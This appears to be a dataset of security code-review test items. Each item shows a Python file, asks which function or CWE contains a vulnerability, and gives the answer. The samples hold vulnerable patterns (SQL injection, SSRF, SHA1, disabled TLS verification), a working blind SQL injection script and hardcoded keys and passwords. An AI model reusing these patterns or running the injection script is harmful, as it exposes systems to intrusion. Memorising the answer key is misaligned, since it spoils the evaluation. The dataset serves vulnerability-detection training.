OctoReasoner/verl_codeql1_aggressive_filtered huggingface dataset:
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import requests
import hashlib
# import sys
import os

## sending requests to api for data exchange
def request_data_api(querystring):
	url = 'https://api.pwnedpasswords.com/range/' + querystring  ## first five characters of SHA1 encryption for k-anonymity used by api
	res = requests.get(url)
	# if status_Code == 400 $client_error or 500 == server_error ~ req not found on server
	if res.status_code != 200:
		raise RuntimeError(f'server responded with errorcode {res.status_code}')
	return res

def check_api_response(hashes, hash_to_check):
	hashes = (line.split(':') for line in hashes.text.splitlines())

	for h, count in hashes:
		if h == hash_to_check:
			return count
	return 0

def pwned_api_check(password):
	## converting the string to SHA1 encryption for anonymity and as a requirement from api
	sha1password = hashlib.sha1(password.encode('utf-8')).hexdigest().upper()
	head, tail = sha1password[:5], sha1password[5:]
	response = request_data_api(head)
	return check_api_response(response, tail)

## for use with command line

# def main(args):
# 	for password in args:
# 		count = pwned_api_check(password)
# 		if count:
# 			print(f'your {password} was found {count} times ... you should consider changing it!')
# 		else:
# 			print(f'your {password} was NOT found. Carry on!')

# main(sys.argv[1:])

## use with a text file
## recommended (procedure below)

def main():
	for file in os.listdir('./'):
		if file.endswith('.txt'):
			pass_file = open(file)
			pass_list = (password.replace('\n', '') for password in pass_file.readlines())
			for password in pass_list:
				count = pwned_api_check(password)
				if count:
					print(f'your {password} was found {count} times ... you should consider changing it!')
				else:
					print(f'your {password} was NOT found. Carry on!')

		return 'NO FILE FOUND'

main()
			

```

Name the function or class in this code that contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability.
Answer: main
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import requests
import hashlib
# import sys
import os

## sending requests to api for data exchange
def request_data_api(querystring):
	url = 'https://api.pwnedpasswords.com/range/' + querystring  ## first five characters of SHA1 encryption for k-anonymity used by api
	res = requests.get(url)
	# if status_Code == 400 $client_error or 500 == server_error ~ req not found on server
	if res.status_code != 200:
		raise RuntimeError(f'server responded with errorcode {res.status_code}')
	return res

def check_api_response(hashes, hash_to_check):
	hashes = (line.split(':') for line in hashes.text.splitlines())

	for h, count in hashes:
		if h == hash_to_check:
			return count
	return 0

def pwned_api_check(password):
	## converting the string to SHA1 encryption for anonymity and as a requirement from api
	sha1password = hashlib.sha1(password.encode('utf-8')).hexdigest().upper()
	head, tail = sha1password[:5], sha1password[5:]
	response = request_data_api(head)
	return check_api_response(response, tail)

## for use with command line

# def main(args):
# 	for password in args:
# 		count = pwned_api_check(password)
# 		if count:
# 			print(f'your {password} was found {count} times ... you should consider changing it!')
# 		else:
# 			print(f'your {password} was NOT found. Carry on!')

# main(sys.argv[1:])

## use with a text file
## recommended (procedure below)

def main():
	for file in os.listdir('./'):
		if file.endswith('.txt'):
			pass_file = open(file)
			pass_list = (password.replace('\n', '') for password in pass_file.readlines())
			for password in pass_list:
				count = pwned_api_check(password)
				if count:
					print(f'your {password} was found {count} times ... you should consider changing it!')
				else:
					print(f'your {password} was NOT found. Carry on!')

		return 'NO FILE FOUND'

main()
			

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) main
  B) check_api_response
  C) request_data_api
  D) pwned_api_check
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import requests
import hashlib
# import sys
import os

## sending requests to api for data exchange
def request_data_api(querystring):
	url = 'https://api.pwnedpasswords.com/range/' + querystring  ## first five characters of SHA1 encryption for k-anonymity used by api
	res = requests.get(url)
	# if status_Code == 400 $client_error or 500 == server_error ~ req not found on server
	if res.status_code != 200:
		raise RuntimeError(f'server responded with errorcode {res.status_code}')
	return res

def check_api_response(hashes, hash_to_check):
	hashes = (line.split(':') for line in hashes.text.splitlines())

	for h, count in hashes:
		if h == hash_to_check:
			return count
	return 0

def pwned_api_check(password):
	## converting the string to SHA1 encryption for anonymity and as a requirement from api
	sha1password = hashlib.sha1(password.encode('utf-8')).hexdigest().upper()
	head, tail = sha1password[:5], sha1password[5:]
	response = request_data_api(head)
	return check_api_response(response, tail)

## for use with command line

# def main(args):
# 	for password in args:
# 		count = pwned_api_check(password)
# 		if count:
# 			print(f'your {password} was found {count} times ... you should consider changing it!')
# 		else:
# 			print(f'your {password} was NOT found. Carry on!')

# main(sys.argv[1:])

## use with a text file
## recommended (procedure below)

def main():
	for file in os.listdir('./'):
		if file.endswith('.txt'):
			pass_file = open(file)
			pass_list = (password.replace('\n', '') for password in pass_file.readlines())
			for password in pass_list:
				count = pwned_api_check(password)
				if count:
					print(f'your {password} was found {count} times ... you should consider changing it!')
				else:
					print(f'your {password} was NOT found. Carry on!')

		return 'NO FILE FOUND'

main()
			

```

Name the function or class in this code that contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability.
Answer: pwned_api_check
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import requests
from bs4 import BeautifulSoup
from re import search
from flask import Flask ,jsonify

app = Flask(__name__)
app.url_map.strict_slashes = False


def filecrSearch(title):
    for i in range(1,40):
        url = f'https://filecr.com/?page={i}&s={title}'

        header = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'}

        r = requests.get(url, headers=header)
        soup = BeautifulSoup(r.content,features='lxml')
        articals = soup.find_all('div', class_ ='product')
        product_name = []
        product_url = []
        product_icon = []
        product_plateform = []
        product_size = []
        for item in articals:
            product_name.append(item.find('a', class_ = 'product-title'))
            product_url.append(item.find('a', class_ = 'product-icon')['href'])
            product_size.append(item.find('div', class_='side-border product-size').text)
            product_plateform.append(item.find('span', class_='text').text)
            product_icon.append(item.find('img')['src'])
        return product_name,product_icon,product_plateform,product_size,product_url
            

@app.route('/')
def home_page():
    return "Welcome to 1337x unofficial API"

@app.route('/<query>')
def home(query):
    
    product_name,product_icon,product_plateform,product_size,product_url = filecrSearch(query)

    return jsonify([{'Name':product_name[index],
    'size':product_size[index],
    'url':product_url[index],
    'icon': product_icon[index],
    'plateform':product_plateform[index],
    } 
    for index in range(len(product_name))])













if __name__ == "__main__":
    app.debug = True
    app.run(port=5000)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  B) CWE-377: Insecure Temporary File
  C) CWE-215: Insertion of Sensitive Information Into Debugging Code
  D) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  E) CWE-918: Server-Side Request Forgery (SSRF)
  F) CWE-732: Incorrect Permission Assignment for Critical Resource
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import requests
from bs4 import BeautifulSoup
from re import search
from flask import Flask ,jsonify

app = Flask(__name__)
app.url_map.strict_slashes = False


def filecrSearch(title):
    for i in range(1,40):
        url = f'https://filecr.com/?page={i}&s={title}'

        header = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'}

        r = requests.get(url, headers=header)
        soup = BeautifulSoup(r.content,features='lxml')
        articals = soup.find_all('div', class_ ='product')
        product_name = []
        product_url = []
        product_icon = []
        product_plateform = []
        product_size = []
        for item in articals:
            product_name.append(item.find('a', class_ = 'product-title'))
            product_url.append(item.find('a', class_ = 'product-icon')['href'])
            product_size.append(item.find('div', class_='side-border product-size').text)
            product_plateform.append(item.find('span', class_='text').text)
            product_icon.append(item.find('img')['src'])
        return product_name,product_icon,product_plateform,product_size,product_url
            

@app.route('/')
def home_page():
    return "Welcome to 1337x unofficial API"

@app.route('/<query>')
def home(query):
    
    product_name,product_icon,product_plateform,product_size,product_url = filecrSearch(query)

    return jsonify([{'Name':product_name[index],
    'size':product_size[index],
    'url':product_url[index],
    'icon': product_icon[index],
    'plateform':product_plateform[index],
    } 
    for index in range(len(product_name))])













if __name__ == "__main__":
    app.debug = True
    app.run(port=5000)

```

Name the function or class in this code that contains a `CWE-918: Server-Side Request Forgery (SSRF)` vulnerability.
Answer: filecrSearch
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#from rest_framework.renderers import UNICODE_JSON
from rest_framework import serializers
from django.http import HttpResponse
from django.views.decorators.csrf import csrf_exempt
import json



#from serializers import TestSerializer
@csrf_exempt
def regist(request):
    if request.method == 'POST':
        resist_data = ((request.body).decode('utf-8'))
        resist_data = json.loads(resist_data)#request data는 'dict'타입!!

        print(resist_data)
        print(resist_data['id'])
        print(resist_data['pw'])
        print(resist_data['age'])
        print(resist_data['sex'])

        return HttpResponse(resist_data)

@csrf_exempt
def login(request):
    if request.method == 'POST':
        login_data = ((request.body).decode('utf-8'))
        login_data = json.loads(login_data)

        print(login_data)
        return HttpResponse(login_data)





```

Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) login
  B) regist
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# -*- coding:utf-8 -*-

import collections
import hashlib
import traceback
import requests
import logging
from random import randint

from wxpy import Message

logger = logging.getLogger(__name__)


class IBot(object):
	"""
	* 与 wxpy 深度整合的小i机器人
	* 需获取 Key和Secret: http://cloud.xiaoi.com/
	"""

	def __init__(self, app_key, app_secret):
		"""
		在 http://cloud.xiaoi.com/ 注册后可获得账户的Key和Secret
		:param app_key: 必填, 你的 iBotCloud 的 Key
		:param app_secret: 必填, 你的 iBotCloud的 Secret
		"""
		self.app_key = app_key
		self.app_secret = app_secret
		self.realm = "xiaoi.com"
		self.http_method = "POST"
		self.uri = "/ask.do"
		self.url = "http://nlp.xiaoi.com/ask.do?platform=custom"

		self.session = requests.Session()

	def _make_signature(self):
		"""
		生成请求签名
		:return:
		"""
		nonce = "".join([str(randint(0, 9)) for _ in range(40)])
		sha1 = "{0}:{1}:{2}".format(self.app_key, self.realm, self.app_secret).encode("utf-8")
		sha1 = hashlib.sha1(sha1).hexdigest()
		sha2 = "{0}:{1}".format(self.http_method, self.uri).encode("utf-8")
		sha2 = hashlib.sha1(sha2).hexdigest()
		signature = "{0}:{1}:{2}".format(sha1, nonce, sha2).encode("utf-8")
		signature = hashlib.sha1(signature).hexdigest()
		# logger.debug("signature:" + signature)
		# logger.debug("nonce:" + nonce)

		ret = collections.namedtuple("signature_return", "signature nonce")
		ret.signature = signature
		ret.nonce = nonce
		return ret

	def _make_http_header_xauth(self):
		"""
		生成请求认证
		:return: ret
		"""
		sign = self._make_signature()
		ret = {
			"X-Auth": "app_key=\"{0}\",nonce=\"{1}\",signature=\"{2}\"".format(
				self.app_key, sign.nonce, sign.signature)
		}
		return ret

	def do_reply(self, msg):
		"""
		回答问题, 返回回复文本
		:param msg: Message 对象 or 纯文本
		:return: 回复文本
		"""
		if isinstance(msg, Message):
			question = msg.text
		else:
			question = msg or ""
		params = {
			"question": question,
			"format": "json",
			"platform": "custom",
			"userId": "abc",
		}
		xauth = self._make_http_header_xauth()
		headers = {
			"Content-type": "application/x-www-form-urlencoded",
			"Accept": "text/plain",
		}
		headers.update(xauth)
		try:
			self.session.headers.update(headers)
			rep = self.session.post(self.url, data=params)
			content = rep.content.decode("utf-8")
			return content
		except Exception as e:
			traceback.print_exc()
			return ""

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) do_reply
  B) __init__
  C) _make_signature
  D) IBot
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
# -*- coding:utf-8 -*-

import collections
import hashlib
import traceback
import requests
import logging
from random import randint

from wxpy import Message

logger = logging.getLogger(__name__)


class IBot(object):
	"""
	* 与 wxpy 深度整合的小i机器人
	* 需获取 Key和Secret: http://cloud.xiaoi.com/
	"""

	def __init__(self, app_key, app_secret):
		"""
		在 http://cloud.xiaoi.com/ 注册后可获得账户的Key和Secret
		:param app_key: 必填, 你的 iBotCloud 的 Key
		:param app_secret: 必填, 你的 iBotCloud的 Secret
		"""
		self.app_key = app_key
		self.app_secret = app_secret
		self.realm = "xiaoi.com"
		self.http_method = "POST"
		self.uri = "/ask.do"
		self.url = "http://nlp.xiaoi.com/ask.do?platform=custom"

		self.session = requests.Session()

	def _make_signature(self):
		"""
		生成请求签名
		:return:
		"""
		nonce = "".join([str(randint(0, 9)) for _ in range(40)])
		sha1 = "{0}:{1}:{2}".format(self.app_key, self.realm, self.app_secret).encode("utf-8")
		sha1 = hashlib.sha1(sha1).hexdigest()
		sha2 = "{0}:{1}".format(self.http_method, self.uri).encode("utf-8")
		sha2 = hashlib.sha1(sha2).hexdigest()
		signature = "{0}:{1}:{2}".format(sha1, nonce, sha2).encode("utf-8")
		signature = hashlib.sha1(signature).hexdigest()
		# logger.debug("signature:" + signature)
		# logger.debug("nonce:" + nonce)

		ret = collections.namedtuple("signature_return", "signature nonce")
		ret.signature = signature
		ret.nonce = nonce
		return ret

	def _make_http_header_xauth(self):
		"""
		生成请求认证
		:return: ret
		"""
		sign = self._make_signature()
		ret = {
			"X-Auth": "app_key=\"{0}\",nonce=\"{1}\",signature=\"{2}\"".format(
				self.app_key, sign.nonce, sign.signature)
		}
		return ret

	def do_reply(self, msg):
		"""
		回答问题, 返回回复文本
		:param msg: Message 对象 or 纯文本
		:return: 回复文本
		"""
		if isinstance(msg, Message):
			question = msg.text
		else:
			question = msg or ""
		params = {
			"question": question,
			"format": "json",
			"platform": "custom",
			"userId": "abc",
		}
		xauth = self._make_http_header_xauth()
		headers = {
			"Content-type": "application/x-www-form-urlencoded",
			"Accept": "text/plain",
		}
		headers.update(xauth)
		try:
			self.session.headers.update(headers)
			rep = self.session.post(self.url, data=params)
			content = rep.content.decode("utf-8")
			return content
		except Exception as e:
			traceback.print_exc()
			return ""

```

Name the function or class in this code that contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability.
Answer: _make_signature
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import requests
import string
import os
import sys
import time
from base64 import b64decode

# setting globals and vars
sess = requests.Session()
cookies = []
BIN_QUERY = "' or {} {} {};-- "
MAX_LENGTH = 100
MAX_CHAR_VALUE = 2 ** 7 - 1  # 7 bit ascii is bae



#############################
#      USER PARAMS HERE     #                     
#############################
url = 'http://127.0.0.1:9001'
resp = 'Welcome'
type = 'sql'
dict = string.printable

 
def get_query_result(data):
    time.sleep(0.1)
    payload = {'username': data, 'password':'asdf'}
    r = sess.post(url, data=payload)
    res = r.text
    return resp in res
 
def bin(query,sl,sh):
    searchlow = sl
    searchhigh = sh
    searchmid = 0
    while True:
        searchmid = (searchlow + searchhigh) // 2
        if get_query_result(BIN_QUERY.format(query, "=", searchmid)):
            break
        elif get_query_result(BIN_QUERY.format(query, ">", searchmid)):
            searchlow = searchmid + 1
        elif get_query_result(BIN_QUERY.format(query, "<", searchmid)):
            searchhigh = searchmid
    return searchmid

def querylength(query):
    return bin("length(({}))".format(query),0,MAX_LENGTH)

def binsearch(query):
    fulltext = ""
    qlen = querylength(query) + 1
    print("length: {}".format(qlen-1))
    
    payloads = {"sqli":"unicode(substr(({}),{},1))", 
                "sql":"ord(substring(({}),{},1))"}
    a = ""
    sys.stdout.write(query + ": ")
    for i in range(1,qlen):
        c = chr(bin(payloads[type].format(query,i),0,MAX_CHAR_VALUE))
        a += c
        sys.stdout.write(c)
        sys.stdout.flush()
    print()
    return a

if __name__ == "__main__":
    password = binsearch("password")
    print(b64decode(password)[len("buzzislife"):])



```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  B) CWE-611: Improper Restriction of XML External Entity Reference
  C) CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
  D) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  E) CWE-312: Cleartext Storage of Sensitive Information
  F) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
from .source import Source, PackageInfo
import requests
from typing import Dict, Set, List
import logging
from urllib.parse import urlparse
from pathlib import PurePosixPath
from os.path import splitext

class Github(Source):

    # For a Github object the `name` is owner/repo as a single string
    # so the URLs below are formatted with that assumption

    _INFO_URL = 'https://api.github.com/repos/{}'
    _RELEASES_URL = 'https://api.github.com/repos/{}/releases'
    _REFS_URL = 'https://api.github.com/repos/{}/git/refs'
    _TAGS_URL = 'https://api.github.com/repos/{}/git/refs/tags'
    _TAG_PREFIX = 'refs/tags/'

    @classmethod
    def _possible_names(cls, package: PackageInfo) -> List[str]:
        names = list()
        for url_str in package.get_urls():
            url = urlparse(url_str)
            host = url.netloc
            if not host.endswith('github.com'):
                continue

            path = PurePosixPath(url.path)
            parts = path.parts
            if path.is_absolute():
                parts = parts[1:]

            if len(parts) >= 2:
                # Get the first 2 path components without extensions
                # this should handle:
                # - owner/project
                # - owner/project.git
                # - owner/project/releases

                name = PurePosixPath(parts[0])
                # strip off .git if the project name contains it
                # don't just strip off any ext because "." is valid
                name_project = parts[1]
                if name_project.endswith('.git'):
                    name_project = name_project[:-len('.git')]
                name = name.joinpath(name_project)

                names.append(str(name))

        return names

    @classmethod
    def _fetch_tags(cls, name: str) -> Dict:
        response = requests.get(cls._REFS_URL.format(name))
        if response.status_code != 200:
            return None
        tags_data = response.json()

        versions = set()
        for tag_data in tags_data:
            ref = tag_data['ref']
            if ref.startswith(cls._TAG_PREFIX):
                tag = ref[len(cls._TAG_PREFIX):]
                versions.add(tag)
        return versions

    @classmethod
    def _fetch_versions(cls, name: str) -> Set[str]:
        return cls._fetch_tags(name)

```

Which of the following functions or classes contains a `CWE-20: Improper Input Validation` vulnerability?

  A) _fetch_versions
  B) _possible_names
  C) _fetch_tags
  D) Github
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from .source import Source, PackageInfo
import requests
from typing import Dict, Set, List
import logging
from urllib.parse import urlparse
from pathlib import PurePosixPath
from os.path import splitext

class Github(Source):

    # For a Github object the `name` is owner/repo as a single string
    # so the URLs below are formatted with that assumption

    _INFO_URL = 'https://api.github.com/repos/{}'
    _RELEASES_URL = 'https://api.github.com/repos/{}/releases'
    _REFS_URL = 'https://api.github.com/repos/{}/git/refs'
    _TAGS_URL = 'https://api.github.com/repos/{}/git/refs/tags'
    _TAG_PREFIX = 'refs/tags/'

    @classmethod
    def _possible_names(cls, package: PackageInfo) -> List[str]:
        names = list()
        for url_str in package.get_urls():
            url = urlparse(url_str)
            host = url.netloc
            if not host.endswith('github.com'):
                continue

            path = PurePosixPath(url.path)
            parts = path.parts
            if path.is_absolute():
                parts = parts[1:]

            if len(parts) >= 2:
                # Get the first 2 path components without extensions
                # this should handle:
                # - owner/project
                # - owner/project.git
                # - owner/project/releases

                name = PurePosixPath(parts[0])
                # strip off .git if the project name contains it
                # don't just strip off any ext because "." is valid
                name_project = parts[1]
                if name_project.endswith('.git'):
                    name_project = name_project[:-len('.git')]
                name = name.joinpath(name_project)

                names.append(str(name))

        return names

    @classmethod
    def _fetch_tags(cls, name: str) -> Dict:
        response = requests.get(cls._REFS_URL.format(name))
        if response.status_code != 200:
            return None
        tags_data = response.json()

        versions = set()
        for tag_data in tags_data:
            ref = tag_data['ref']
            if ref.startswith(cls._TAG_PREFIX):
                tag = ref[len(cls._TAG_PREFIX):]
                versions.add(tag)
        return versions

    @classmethod
    def _fetch_versions(cls, name: str) -> Set[str]:
        return cls._fetch_tags(name)

```

Name the function or class in this code that contains a `CWE-20: Improper Input Validation` vulnerability.
Answer: _possible_names
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import yaml
import os
import time
from tornado import ioloop, web, httpserver, httpclient
import logging

from utils import Config

config = Config('config.yml')

logging.basicConfig(
    level=10,
    filename=config.conf['log']['file'],
    format='%(asctime)s (%(filename)s:%(lineno)s)- %(levelname)s - %(message)s',
    )
logging.Formatter.converter = time.gmtime
logging.getLogger('tornado').setLevel(logging.WARNING)
logging.info('='*80)


class Info(web.RequestHandler):
    def get(self):
        self.write(config.conf)


class SomeHandler(web.RequestHandler):
    def get(self, param=''):
        self.write(
            "Hello from service {}. "
            "You've asked for uri {}\n".format(
                config.conf['name'], param))

app = web.Application([
    ("/(swagger.json)", web.StaticFileHandler, {'path': os.path.dirname(__file__)}),
    ("/swagger", web.RedirectHandler, {'url': '/swagger.json'}),
    ("/info", Info),
    ("/(.*)", SomeHandler),
    ])

if __name__ == '__main__':
    port = config.get_port()  # We need to have a fixed port in both forks.
    logging.info('Listening on port {}'.format(port))
    server = httpserver.HTTPServer(app)
    server.bind(config.get_port(), address='0.0.0.0')
    server.start(config.conf['threads_nb'])
    ioloop.IOLoop.current().start()

```

Name the function or class in this code that contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability.
Answer: get
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import datetime
import os, pymysql  # pip install PyMySql
from flask import Flask, request, redirect
# o request é para pegarmos os conteúdos passados no post/submit do formulário
# redirect -> para redirecionar depois do insert no banco
from flask.helpers import url_for  # para retornar para outra url a partir do seu controller

from flask.templating import render_template
# é necessário importar o render_template para separarmos os htmls

app = Flask(__name__)


# conexão mysql
conexao = pymysql.connect(
    host=os.getenv('IP', '0.0.0.0'),
    user='root',
    passwd='senhamysql',
    db='db_nome_do_db'
)
conexao_cursor = conexao.cursor()


@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])  # você pode definir várias urls para o mesmo método
def retorna_index():
    # por padrão, os templates tem que estar na pasta templates, mas você pode mudar isso
    return render_template('index.html')


@app.route('/contato', methods=['GET', 'POST'])
def cadastra_contato():

    if request.method == 'POST':
        nome = request.form['nome']
        msg = request.form['mensagem']
        data_e_hora = datetime.datetime.now()  # pega a data e hora atuais
        query_sql = "INSERT INTO tb_contato (nome, mensagem, data_envio) " \
                    "VALUES ('%s', '%s', '%s')" % (nome, msg, data_e_hora)
        conexao_cursor.execute(query_sql)  # executa o comando no banco
        conexao.commit()  # salva as alterações no banco

        return redirect(url_for('mensagens_contato'))  # redireciona para o controller retorna_index

    return render_template('contato.html')


@app.route('/mensagens', methods=['GET'])
def mensagens_contato():

    query_sql = "SELECT * FROM tb_contato"  # a query em SQL
    conexao_cursor.execute(query_sql)  # executa o comando no banco
    todas_mensagens = conexao_cursor.fetchall()

    return render_template('mensagens.html', mensagens=todas_mensagens)


if __name__ == '__main__':
    # inclua essas linhas para pegar a porta e o ip configurados no heroku ou c9 por exemplo
    porta = int(os.getenv('PORT', 5000))
    host = os.getenv('IP', '0.0.0.0')
    # lembre-se sempre de ativar o debug para visualizar melhor
    # os erros e reiniciar automaticamente seu servidor
    app.run(debug=True, port=porta, host=host)

```

Name the function or class in this code that contains a `CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')` vulnerability.
Answer: cadastra_contato
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# -*- coding: utf-8 -*-
#!/usr/bin/python
"""
"""
import requests
import time
from raven import Client

client = Client(
'https://aee9ceb609b549fe8a85339e69c74150:8604fd36d8b04fbd9a70a81bdada5cdf@sentry.io/1223891')



key = "f02981de7e824038967f4194b7815c8d"



def check_api(word):
    query_string = { 'api-key': key, 'q': '"%s"' % word}
    req = requests.get('https://api.nytimes.com/svc/search/v2/articlesearch.json', params=query_string, verify=False)
    
    if req.status_code in set([429, 529, 504]):
        time.sleep(50)
        client.captureMessage("NYT API RATELIMIT")
        return check_api(word)
    
    if req.status_code == 500:
        client.captureMessage("NYT API 500", extra={
            'req':req,
            'word': word,
        })
        return False 

    result = req.json()
    num_results = len(result['response']['docs'])
    return num_results < 2

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  B) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  C) CWE-377: Insecure Temporary File
  D) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  E) CWE-295: Improper Certificate Validation
  F) CWE-215: Insertion of Sensitive Information Into Debugging Code
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
import os
import json

from dotenv import load_dotenv

from .aws_signing import AwsSigningV4
from .request_handler import RequestHandler

load_dotenv()
load_dotenv(os.path.join(os.path.dirname(__name__), "..", ".env"))


client_id = os.environ.get("CLIENT_ID")
client_secret = os.environ.get("CLIENT_SECRET")
api_key = os.environ.get("API_KEY")

aws_signer = AwsSigningV4(
    aws_access_key_id=client_id,
    aws_secret_access_key=client_secret,
    aws_host="developer-api-testmode.dnb.no",
)

request_handler = RequestHandler(
    endpoint="https://developer-api-testmode.dnb.no", api_key=api_key, aws_signer=aws_signer
)


def get_currency_conversions(quoteCurrency):
    response = request_handler.request(path=f"/currencies/{quoteCurrency}")
    return response.json()


def get_currency_conversion(quoteCurrency, baseCurrency):
    response = request_handler.request(path=f"/currencies/{quoteCurrency}/convert/{baseCurrency}")
    return response.json()


def get_access_token(ssn):
    response = request_handler.request(path="/tokens", method="POST", data={"ssn": ssn})
    return response.json()["jwtToken"]


def get_customer_info(api_token):
    response = request_handler.request(path="/customers/current", api_token=api_token)
    return response.json()


def main():
    api_token = get_access_token(ssn="29105573083")
    print("\nAPI token: " + api_token)

    customer = get_customer_info(api_token)
    print("\nCustomer info: " + json.dumps(customer, indent=4, sort_keys=True))

    currencies = get_currency_conversions("NOK")
    print("\nCurrencies: " + json.dumps(currencies, indent=4, sort_keys=True))

    currency = get_currency_conversion("NOK", "EUR")
    print("\nNOK -> EUR: " + json.dumps(currency, indent=4, sort_keys=True))


if __name__ == "__main__":
    main()

```

